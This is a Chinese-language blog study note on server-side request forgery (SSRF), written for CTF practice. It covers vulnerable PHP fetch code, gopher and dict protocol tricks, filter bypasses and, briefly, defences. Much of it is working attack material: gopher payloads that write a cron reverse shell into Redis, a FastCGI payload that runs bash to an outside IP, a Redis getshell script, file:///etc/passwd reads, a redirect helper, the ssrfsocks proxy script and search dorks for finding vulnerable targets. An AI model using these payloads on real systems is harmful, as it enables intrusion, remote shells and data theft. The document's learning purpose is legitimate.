一篇文章深入学习SSRF漏洞

0x00 前言

因为最近做题遇到了两道在考察SSRF漏洞的CTF题目,感觉只是知道个大概,知道怎么去判断可能存在SSRF漏洞肯定是不够的,必须要从原理上理解这个漏洞,因为SSRF漏洞更多的不是一个漏洞,而是一种攻击思路.

本学习笔记,大量参考自网络上各位大佬总结好的,再加上自己的心得总结而成,用途仅用于安全技术学习.文末注明参考资料,侵删.

0x01 基础知识

这里新的相关基础知识不是很多,主要是以前都有总结过.主要是一些函数和一些协议的知识

PHP function

下面学习相关函数和后端实现(从CTF wiki拿过来的)

file_get_contents()

1
2
3
4
5
6
7
8
9
10
<?php
if (isset($_POST['url'])) {
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>

fsockopen()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 
function GetFile($host,$port,$link) { // 定义一个请求文件的函数
$fp = fsockopen($host, intval($port), $errno, $errstr, 30); // intval()获取变量的整数值
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else { // 发起HHTP请求
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>

curl_exec()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
if (isset($_POST['url'])) {
$link = $_POST['url'];
$curlobj = curl_init();//初始化一个cURL会话为curlobj
curl_setopt($curlobj, CURLOPT_POST, 0); // 设置URL选项
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj); // 抓取URL并传递给浏览器
curl_close($curlobj); // 关闭cURL资源,释放系统资源

$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>

Python后端实现

1
2
3
4
5
#coding: utf-8
import urllib
url = 'http://127.0.0.1'
info = urllib.urlopen(url)
print(info.read().decode('utf-8'))

相关协议

Dict 协议 http://www.dict.org/rfc2229.txt

https://baike.baidu.com/item/DICT%E5%8D%8F%E8%AE%AE

Dict协议,字典服务器器协议,dict是基于查询响应的TCP协议,它的目标是超越Webster protocol,并允许客户端在使用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628。

Gopher 协议

Gopher协议是互联网上使用的分布型的文件搜集获取网络协议。gopher协议是在HTTP协议出现之前,在internet上常见重用的协议,但是现在已经用的很少了

File 协议

这个协议就比较熟悉了吧

File协议也就是,本地文件传输协议

0x02 什么是SSRF漏洞

SSRF 简介

SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。

因此学习SSRF就奔着三个目的.what?how to do?how to bypass?

漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。

攻击者可以利用 SSRF 实现的攻击主要有 5 种:

  1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
  2. 攻击运行在内网或本地的应用程序(比如溢出)
  3. 对内网 WEB 应用进行指纹识别,通过访问默认文件实现
  4. 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
  5. 利用 file 协议读取本地文件等

SSRF漏洞 出现的场景

  • 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
  • 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
  • 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
  • Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
  • 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)

  1. 社交分享功能:获取超链接的标题等内容进行显示
  2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  3. 在线翻译:给网址翻译对应网页的内容
  4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
  5. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用户体验
  6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
  7. 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
  8. 数据库内置功能:数据库的比如mongodb的copyDatabase函数
  9. 邮件系统:比如接收邮件服务器地址
  10. 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
  11. 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞。
    一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
  12. 从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

SSRF漏洞验证

1.排除法:浏览器f12查看源代码看是否是在本地进行了请求

比如:该资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞

2.dnslog等工具进行测试,看是否被访问

–可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。

3.抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址

–从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址

–通过二级域名暴力猜解工具模糊猜测内网地址

4.直接返回的Banner、title、content等信息

5.留意bool型SSRF

0x03 漏洞利用

本地利用

可以看到curl可以支持的协议有dice file ftp ftps gopher http https…

file协议查看文件 curl -v 'file://etc/passwd

dict协议探测端口curl -v 'dict://127.0.0.1:22/info' 查看ssh的banner信息,curl -v 'dict://127.0.0.1:6379/info'查看redis相关配置

gopher协议支持GET&POST请求,同时在攻击内网ftp/redis/telnet/Memcache上有非常大的作用,利用gopher协议访问redis反弹shell

1
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

远程利用

首先假设攻击者预先编辑好的SSRF漏洞为ssrf.php

dict协议探测端口

1
curl -v ‘http://a.com/ssrf.php?url=dict://172.0.0.1:22/info‘curl -v ‘http://a.com/ssrf.php?url=dict://127.0.0.1:6379/info‘

gopher协议访问redis反弹shell

1
curl -v 'http://a.com/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

漏洞代码ssrf2.php

  1. 限制协议HTTP/HTTPS
  2. 跳转重定向为true,默认不跳转
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
// 限制为HTTPS、HTTP协议
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>

这种情况使用dict协议是不行的,但是可以利用302跳转的方式来绕过http协议限制

1
curl -v "http:///forum.php?mod=ajax&action=downremoteimg&message=[img]http://a.com/302.php?helo.jpg[/img]"

302.php中的代码为:

1
2
3
<?php
header("Location: dict://10.0.0.2:6379/info");#探测redsi信息
?>

location 302 跳转辅助脚本

1
2
3
4
5
6
7
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>

举例腾讯微博2016年的SSRF(参考资料3)

1
2
3
4
5
6
curl -v 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://localhost/file.php'

#file.php
<?php
header("Location: file:///etc/passwd");
?>

攻击Application

正如笔记开篇说道,ssrf更多的来说是一种攻击模式.web ssrf可以作为跳板来攻击内网多种应用.比如redis/discuz/fastcgi/memcache/webdav/Struts/jboss/axis2等应用

虽然下面很多东西现在我还用不到,但是遇见了就学习记录下来,以后随时可以翻看

首先需要探测目标内网,因为服务器支持gopher协议,ssrf+gopher=ssrfsocks

https://github.com/iamultra/ssrfsocks

https://github.com/bcoles/ssrf_proxy

第一个大概是在讲解原理,第二个是一个ssrf代理的工具

猪猪侠的ssrfsocks.py脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python

import sys
import socket
import thread
import binascii
import struct
import urllib
import urllib2
HOST = 'localhost'
PORT = 65432
BUFSIZ = 4096
TIMEOUT = 5
SOCKS = True
CONNECT = "gopher%3A//"

def decodesocks(req):
if req[0] != 'x04':
raise Exception('bad version number')
if req[1] != 'x01':
raise Exception('only tcp stream supported')
port = req[2:4]
host = req[4:8]
if host[0] == 'x00' and host[1] == 'x00' and host[2] == 'x00' and host[3] != 'x00':
byname = True
else:
byname = False
userid = ""
i = 8
while req[i] != 'x00':
userid += req[i]
extra = ""
if byname:
while req[i] != 'x00':
extra += req[i]
return host, port, extra

def child(sock,addr,base):
try:
if SOCKS:
req = sock.recv(BUFSIZ)
host, port, extra = decodesocks(req)
if extra == "":
dest = socket.inet_ntoa(host)
else:
dest = extra
destport, = struct.unpack("!H", port)
sock.send("x00x5a"+port+host)
data = sock.recv(BUFSIZ)
#print "sending:", data
encodeddata = urllib.quote(data)
url = base+CONNECT+dest+":"+str(destport)+"/A"+encodeddata
#print "connecting to ", url
ret = urllib2.urlopen(url,timeout=TIMEOUT)
retdata = ret.read()
#print "received:", retdata
if len(retdata) > 0:
sock.send(retdata)
sock.close()
except Exception as e:
print e
sock.close()

if __name__=='__main__':
if len(sys.argv) != 2:
sys.exit('Usage: %s BASEURLnExample: %s "http://victim.com/xxe.php?uri="' % sys.argv[0], sys.argv[0])
base = sys.argv[1]
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen(2)
print 'listener ready on port', PORT
try:
while 1:
client, addr = server.accept()
#print 'connection from:', addr
thread.start_new_thread(child, (client,addr,base))
except KeyboardInterrupt:
server.close()

攻击redis(6379端口)
更多的详细内容 请看 浅析Redis中SSRF的利用

首先需要了解通过redis getshell的exp 写成的bash

1
2
3
echo -e "nn*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1nn"|redis-cli -h $1 -p $2 -x set 1 
redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit

执行命令bash shell.sh 127.0.0.1:6389 可在redis里写入crontab的定时任务,本地通过nc -nvlp 2333 开启监听2333端口来反弹shell

redis常见的ssrf攻击大概有:

  1. 绝对路径写webshell
  2. 写ssh公钥
  3. 写contrab计划任务反弹shell

详细内容还是看那篇文章.

将普通请求转成适配的gopher协议(看参考资料7)

攻击FastCGI

首先根据faci_exp生成exp,随后改成支持gopher协议的URL

1
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

本地监听2333端口 接收反弹shell

利用gopher协议存在的问题(参考资料3)

  1. PHP的curl默认不跟随302跳转
  2. curl7.43上gopher协议存在%00截断的BUG,v7.49可用
  3. file_get_contents()的SSRF,gopher协议不能使用URLencode
  4. file_get_contents()的SSRF,gopher协议的302跳转有BUG会导致利用失败

0x04 bypass

1)更改IP地址写法(在上一篇笔记中,有总结过IP地址的不同形式,但效果是一样的),如: 192.168.0.1

  • 8进制格式: 300.
  • 16进制格式: 0xc0.0xa8.0.1
  • 10进制整数格式: 3232235521
  • 16进制整数格式: 0xC0A80001
  • 特殊的省略模式: 列入10.0.0.1可写为10.1

2)利用URL解析问题,在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的HOST地址进行过滤.如果URL参数解析不当,可能绕过过滤

解释: 后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。

  • 可以指向任意 ip 的域名xip.iohttp://127.0.0.1.xip.io/==>http://127.0.0.1/

  • 短地址http://dwz.cn/11SMa==>http://127.0.0.1

  • 利用句号127。0。0。1==>127.0.0.1

  • 利用 Enclosed alphanumerics

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
    List:
    ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
    ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
    ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
    ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
    Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
    ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
    ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
    ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

这个就比较tql了…

3)利用302跳转

前提是服务器要允许30x跳转

如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。

百度短网址服务,要钱的并且不支持ip形式https://dwz.cn/

这个支持,并且感觉很不错 http://a.topurl.cn/#/

(1)、在网络上存在一个很神奇的服务,http://xip.io 当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。

(2)、由于上述方法中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,我们可以通过短地址的方式来绕过。经过测试发现新浪,百度的短地址服务并不支持IP模式,所以这里使用的是http://a.topurl.cn/#/所提供的短地址服务.

这里提一下302跳转和307跳转的区别,307跳转回转发POST请求中的 数据等,但是302跳转不会.

4)通过各种非HTTP协议

如果服务器端程序对访问URL所采用的协议进行验证的话,可以通过非HTTP协议来进行利用。

(1)、GOPHER协议:通过GOPHER我们在一个URL参数中构造Post或者Get请求,从而达到攻击内网应用的目的。例如我们可以使用GOPHER协议对与内网的Redis服务进行攻击,可以使用如下的URL:

1
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

(2)、File协议:File协议主要用于访问本地计算机中的文件,我们可以通过类似file:///文件路径这种格式来访问计算机本地文件。使用file协议可以避免服务端程序对于所访问的IP进行的过滤。例如我们可以通过file:///d:/1.txt 来访问D盘中1.txt的内容

5)DNS Rebinding

DNS重绑定

对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查,利用这个时间差,我们可以进行DNS 重绑定攻击

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:

(1)、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP

(2)、对于获得的IP进行判断,发现为非黑名单IP,则通过验证

(3)、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。

(4)、由于已经绕过验证,所以服务器端返回访问内网资源的结果。

6)其他绕过

利用[::]绕过localhost

一个好的黑客就是要不断的bypass…

利用@

http://[email protected]

利于中文句号

127。0。0。1

7)绕过parse_url()

参考 https://www.anquanke.com/post/id/101058?from=singlemessage

https://skysec.top/2018/03/15/Some%20trick%20in%20ssrf%20and%20unserialize()/#trick1-filter-var-bypass

原理:

parse_url与libcurl对curl的解析差异

1
2
php 7.0
libcurl 7.52

匹配规则

1
2
3
4
5
php parse_url:
host: 匹配最后一个@后面符合格式的host

libcurl:
host:匹配第一个@后面符合格式的host

比如如下url:

1
http://u:[email protected]:[email protected]/

php解析结果:

1
2
3
4
schema: http 
host: b.com
user: u
pass: [email protected]:80

而libcurl解析结果:

1
2
3
4
5
6
schema: http
host: a.com
user: u
pass: p
port: 80
后面的@b.com/会被忽略掉

那么此时,如果恶意代码检测是依据parse_url的结果,就会导致绕过问题
我们假设一个环境:
1.利用curl对用户给出ip进行访问并获取内容
2.为防止ssrf,我们利用parse_url进行解析,设置waf
那么就以刚才的url为例:http://u:[email protected]:[email protected]/
如果我们的后端代码用parse_url()去解析我们传入的url,并只允许访问Host为b.com的ip
而此时如果我们传入的是刚才的url,那么我们可以绕过解析,并且curl访问到非法ip

0x05 漏洞挖掘

1)Googlehacking

  • inurl:?apiurl=
  • inurl:?url=
  • inurl:?image=http:// ?image=https://
  • site:fanyi.*.com
  • inurl:?site=

2)二级域名搜集

3)上面写的漏洞出现场景

0x06 漏洞防御

  • 限制协议为HTTP/HTTPS
  • 禁止30X跳转
  • 设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP
  • 服务端开启OpenSSL无法交互利用
  • 服务端需要认证交互
  • 把用于取外网资源的API部署在不属于自己的机房
  • 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
  • 限制请求的端口为http常用的端口,比如 80、443、8080、8090
  • 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

0x07 总结

跳转exp

  1. <?php
    $ip = $_GET['ip'];
    $port = $_GET['port'];
    $scheme = $_GET['s'];
    $data = $_GET['data'];
    header("Location: $scheme://$ip:$port/$data");
    ?>
  2. 常见的网络协议的知识还需要补充.比如什么端口对应什么服务

比如,内网地址是ipv4地址协议中预留的分别是

  • 10.0.0.0–10.255.255.255
  • 172.16.0.0–172.31.255.255
  • 192.168.0.0–192.168.255.255

原文網址:https://kknews.cc/news/2kojba9.html

0x08 参考资料

  1. https://ctf-wiki.github.io/ctf-wiki/web/ssrf-zh/
  2. https://3wapp.github.io/WebSecurity/%E5%B8%B8%E8%A7%81%E5%8D%8F%E8%AE%AE.html
  3. https://www.anquanke.com/post/id/145519
  4. https://www.sadk.org/%E6%97%A5%E5%BF%97/1795.html
  5. https://xz.aliyun.com/t/5665
  6. https://github.com/iamultra/ssrfsocks
  7. https://joychou.org/web/phpssrf.html
  8. https://_thorns.gitbooks.io/sec/content/bilibilimou_fen_zhan_cong_xin_xi_xie_lu_dao_ssrf_z.html
  9. https://www.freebuf.com/articles/web/135342.html
  10. http://blog.leanote.com/post/snowming/b42f5d7ab396 有乌云的文章,好好学习吧
  11. http://blog.leanote.com/post/snowming/b654d901ff8a
  12. https://paper.seebug.org/393/
  13. SSRF圣经
  14. 利用Gopher协议拓展攻击面
  15. http://blog.safebuff.com/2016/07/03/SSRF-Tips/ 总结了对应不同app的不同exp还有一些函数知识
  16. 实战篇丨聊一聊SSRF漏洞的挖掘思路与技巧
  17. https://www.freebuf.com/column/157466.html

其实网上关于SSRF的资料多的很,我也就根据了几篇感觉写的比较好的来总结的.更多的其实需要在懂了原理之后的实际操作.

后续补充把~

Author: m0nk3y
Link: https://hack-for.fun/523e.html
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.